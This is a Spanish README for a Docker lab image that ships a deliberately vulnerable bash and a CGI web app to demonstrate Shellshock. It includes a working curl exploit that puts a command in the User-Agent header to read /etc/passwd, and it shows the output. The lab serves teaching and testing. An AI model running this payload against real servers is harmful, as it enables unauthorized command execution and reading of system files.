
Vulnerabilidad como servicio: mostrando CVS-2014-6271, a.k.a. Shellshock
Un sistema Debian (Buster) Linux con una versión vulnerable de bash y una aplicación web para mostrar CVS-2014-6271, también conocido como Shellshock.
Este contenedor Docker está basado en Debian Buster y ha sido modificado para usar una versión vulnerable de Bash (bash_4.2:2b:dfsg-0.1).
Una aplicación web está disponible a través de Apache 2 y sirve un script CGI que ejecuta comandos de shell.
Instala el contenedor con docker pull hmlio/vaas-cve-2014-6271
Ejecuta el contenedor con un mapeo de puertos docker run -d -p 8080:80 hmlio/vaas-cve-2014-6271
Deberías poder acceder a la aplicación web en http://your-ip:8080/.
La aplicación web/versión vulnerable de bash puede ser explotada como se muestra a continuación:
# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'" http://your-ip:8080/cgi-bin/stats
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
El concepto y la aplicación web están fuertemente inspirados en la máquina virtual de VulnHub "Sokar", creada por rasta_mouse. Para más detalles, por favor visita https://www.vulnhub.com/entry/sokar-1,113/.